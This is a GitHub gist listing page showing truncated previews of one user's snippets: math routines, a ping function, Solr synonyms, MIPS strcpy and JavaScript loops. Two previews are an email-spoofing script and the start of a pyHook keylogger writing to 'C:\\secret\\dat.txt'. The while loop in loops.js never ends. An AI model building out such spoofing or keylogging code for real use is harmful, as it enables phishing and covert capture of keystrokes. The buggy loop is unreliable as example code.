Skip to content

Instantly share code, notes, and snippets.

View KelviNosse's full-sized avatar
🥞
Pancoding is life...

Kelvin KelviNosse

🥞
Pancoding is life...
View GitHub Profile
@KelviNosse
KelviNosse / synonyms.solr
Last active February 6, 2019 16:34
Synonyms
# Blank lines and lines starting with pound are comments.
# another line
# Explicit mappings match any token sequence on the LHS of "=>"
# and replace with all alternatives on the RHS. These types of mappings
# ignore the expand parameter in the schema.
# Examples:
i-pod, i pod => ipod,
sea biscuit, sea biscit => seabiscuit
# Equivalent synonyms may be separated with commas and give
@KelviNosse
KelviNosse / spoofer.py
Last active June 14, 2022 04:50
A python script that creates email spoofing via SMTP2GO. Created for education purposes @ kjchints.
import smtplib
import os
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.Utils import formatdate
from email import Encoders
# Limpiando la pantalla con el comando "cls" de windows (si te encuentras en un SO basado en unix cambiarlo a "clear")
os.system('cls')
@KelviNosse
KelviNosse / Ping.cpp
Created June 15, 2017 21:02
A ping function implemented on c++
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/file.h>
#include <sys/time.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
@KelviNosse
KelviNosse / loops.js
Created April 20, 2017 17:27
Basic tutorial for kjchints - code
var i = 1;
while(i<=5){
console.log("Iteracion while: "+i+"\n");
}
for(var i = 1; i<=5; i++){
console.log("Iteracion for: "+i+"\n");
}
import dropbox
def dbx_upload_file(file_from, file_to, access_token):
"""Funcion para subir un archivo a Dropbox usando API v2
"""
dropb = dropbox.Dropbox(access_token)
with open(file_from, 'rb') as f:
dropb.files_upload(f, file_to)
/* Created By Kelvin Nose :^) */
function evaluate_size(bytes){
if(bytes < 1024) return bytes + " Bytes";
else if(bytes < 1048576) return(bytes / 1024).toFixed(3) + " KB";
else if(bytes < 1073741824) return(bytes / 1048576).toFixed(3) + " MB";
else return(bytes / 1073741824).toFixed(3) + " GB";
}
function DisplayFileInfo(file){
import pyHook, pythoncom, sys, logging
import time, datetime
wait_seconds = 60
timeout = time.time() + wait_seconds
file_log = 'C:\\secret\\dat.txt'
def TimeOut():
if time.time() > timeout:
return True
@KelviNosse
KelviNosse / NewtonInterpol.py
Created June 23, 2016 03:34
Newton Interpolation Example - Python
print "Diferencias Divididas (Newton)"
n = int(raw_input("Ingrese el grado del polinomio a evaluar: "))+1
matrix = [0.0] * n
for i in range(n):
matrix[i] = [0.0] * n
vector = [0.0] * n
for i in range(n):
x = raw_input("Ingrese el valor de x: ")
@KelviNosse
KelviNosse / Simpson.py
Created June 22, 2016 23:42
Integrating sin(x) using Simpson Rule
#Integracion Simpson en funcion seno
#
from math import *
def f(x):
return sin(x)
def simpson_rule(a,b):
c=(a+b)/2.0
h=abs(b-a)/2.0
return h*(f(a)+4.0*f(c)+f(b))/3.0
@KelviNosse
KelviNosse / strcpy.asm
Last active August 29, 2016 19:08
STRCPY Implemented on MIPS32 - Step by Step Example
#STRCPY - MIPS32
#Author: Kelvin Nose :^)
#Date: 7/11/15
# void strcpy(char x[], char y[]){
#int i;
#i = 0;
#while((x[i] = y[i]) != '\0') /* copy and test byte */
#i+=1;
#}